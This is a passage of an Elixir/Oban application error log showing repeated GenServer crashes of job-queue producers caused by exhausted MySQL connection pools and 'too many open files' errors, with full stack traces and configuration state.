  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:10:45.247746Z], limit: 50, uuid: "a1e45111-c910-477c-af38-2349a9ca71c7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:10:45.247752Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.256311>, refresh_timer: #Reference<0.2525715032.1068236804.256265>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:10:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2007ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:10:45.246920Z], limit: 5, uuid: "30bfe4d3-9ab2-4024-8cef-69312c6f4ba8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:10:45.246930Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.256259>, refresh_timer: #Reference<0.2525715032.1077411843.239968>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:10:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2070ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:10:45.249772Z], limit: 5, uuid: "723f1ef5-b9e5-4cdc-90e2-a8c7329ba79c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:10:45.249779Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.256310>, refresh_timer: #Reference<0.2525715032.1068236804.256280>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:10:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2030ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:10:45.247123Z], limit: 3, uuid: "6a1f8e44-f6d5-4c2c-a622-f5be97864a84", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:10:45.247128Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.256260>, refresh_timer: #Reference<0.2525715032.1077411843.239975>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:10:58.736000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:10:59.024000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:10:59.986000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:11:00.288000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:11:03.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2044ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:10:51.238461Z], limit: 10, uuid: "a5f03ad9-a8ee-473d-95a9-d86b0fd78dd8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:10:51.238467Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.240018>, refresh_timer: #Reference<0.2525715032.1068236804.256453>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:11:05.220000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:11:05.300000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:11:06.750000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:11:09.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2062ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:10:57.258611Z], limit: 3, uuid: "62ef8d21-48c2-4dce-877d-079d3468c7bb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:10:57.258623Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.256669>, refresh_timer: #Reference<0.2525715032.1068236804.256661>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:11:09.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2030ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:10:57.252513Z], limit: 20, uuid: "e3534c7d-5cf9-4650-ade8-34acc8e9b911", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:10:57.252518Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.240141>, refresh_timer: #Reference<0.2525715032.1077411843.240138>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:11:09.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1997ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:10:57.252312Z], limit: 5, uuid: "d55a94a8-6525-4c0d-9052-fe1ae0c5892f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:10:57.252319Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.240143>, refresh_timer: #Reference<0.2525715032.1077411843.240135>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:11:09.243000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1857ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:10:57.252659Z], limit: 50, uuid: "7cc16202-f087-4299-9eb2-7ef0f07fe796", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:10:57.252664Z]}, name: {:via, Registry, 